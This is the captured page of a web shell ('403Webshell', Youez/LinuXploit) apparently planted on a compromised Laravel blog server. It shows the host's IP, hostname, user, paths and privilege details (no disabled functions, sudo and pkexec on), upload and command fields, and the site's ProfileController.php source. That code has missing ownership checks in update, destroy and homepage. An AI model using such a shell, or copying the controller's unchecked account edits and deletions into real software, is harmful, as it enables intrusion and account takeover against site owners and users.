403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.46
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/viralblo/instantblog/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/viralblo/instantblog/app/Http/Controllers/ProfileController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Illuminate\Validation\Rule;
use Illuminate\Support\Facades\Auth;
use Image;
use App\Models\User;
use App\Models\Post;

class ProfileController extends Controller
{
    public function __construct()
    {
        $this->middleware('auth', ['except' => ['show', 'followers', 'following']]);
    }
    
    public function show($username)
    {
        $user = User::whereUsername($username)->firstOrFail();
        
        $posts = Post::latest()
            ->wherePostLive(1)
            ->whereUserId($user->id)
            ->paginate(30);

        $point = Post::wherePostLive(1)
            ->select('user_id')
            ->whereUserId($user->id)
            ->withCount('likes')
            ->get();

        return view('public.profile', compact('user', 'posts', 'point'));
    }

    public function usernotifications()
    {
        $count = auth()->user()->notifications()->count();

        $deleteNot = auth()->user()->notifications()->latest()->take($count)->skip(30)->get()->each(function($row){ $row->delete(); });

        $notifications = auth()->user()->notifications()->limit(30)->get();

        auth()->user()->unreadNotifications->markAsRead();
        return view('member.notifications', compact('notifications'));
    }

    public function delnotifications()
    {        
        auth()->user()->notifications()->delete();

        session()->flash('message', __('messages.comments.notdeleted'));

        return redirect('/notifications');
    }

    public function edit($username)
    {
        $user = User::findOrFail(auth()->id());

        $point = Post::wherePostLive(1)
            ->select('user_id')
            ->whereUserId($user->id)
            ->withCount('likes')
            ->get();
            
        return view('member.profileedit', compact('user', 'point'));
    }

    public function update(Request $request, $id)
    {
        $user = User::findOrFail($id);

        $attributes = request(['name',  'username', 'avatar', 'cover', 'email', 'website' , 'facebook' ,
        'twitter', 'instagram', 'linkedin']);

        if($request->password) {
            $this->validate(request(), [
                'password' => 'required|min:6|confirmed',
            ]);

            $user->password = bcrypt(request('password'));
            $user->save();

        } else {

        $this->validate(request(), [
            'name' => 'required|max:255',
            'username' => [
                'required',
                Rule::unique('users')->ignore($user->id),
            ],
            'email' => [
                'required',
                Rule::unique('users')->ignore($user->id),
            ],
        ]);

        if ($request->hasFile('avatar')) {
            $postimage = $request->file('avatar');
            $filename = time() . '.' . $postimage->getClientOriginalExtension();
            Image::make($postimage)->resize(100, 100)->save(public_path('/images/'. $filename));
            $attributes['avatar'] = $filename;
        } else {
            $attributes['avatar'] = $user->avatar ;
        }

        if ($request->hasFile('cover')) {
            $postimage = $request->file('cover');
            $filename = time() . '.' . $postimage->getClientOriginalExtension();
            Image::make($postimage)->resize(1440, 200)->save(public_path('/uploads/'. $filename));
            $attributes['cover'] = $filename;
        } else {
            $attributes['cover'] = $user->cover ;
        }

            $user->update($attributes);
        }

        session()->flash('message', __('messages.new.profileupdated'));

        return redirect('/home');
    }

    public function confirm()
    {
        $user = User::findOrFail(auth()->id());
        return view('posts.deleteaccount', compact('user'));
    }

    public function destroy($id)
    {       
        //Delete user account
        $user = User::findOrFail($id);
        $user->comments()->delete();
        $user->posts()->delete();
        $user->delete();

        session()->flash('message', __('messages.new.userdeleted'));
        return redirect('/login');
    }

    public function followers(User $user)
    {
        $point = Post::wherePostLive(1)
            ->select('user_id')
            ->whereUserId($user->id)
            ->withCount('likes')
            ->get();

        $followers = $user->followers()->paginate(30);

        return view('public.followers', compact('user', 'point', 'followers'));
    }

    public function following(User $user)
    {
        $point = Post::wherePostLive(1)
            ->select('user_id')
            ->whereUserId($user->id)
            ->withCount('likes')
            ->get();

        $follows = $user->follows()->paginate(30);

        return view('public.following', compact('user', 'point', 'follows'));
    }

    public function homepage(Request $request)
    {
        User::whereIn('id', [$request->id])->update(['homepage' => $request->homepage]);
        session()->flash('message', __('messages.new.profileupdated'));
        return redirect('/home');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit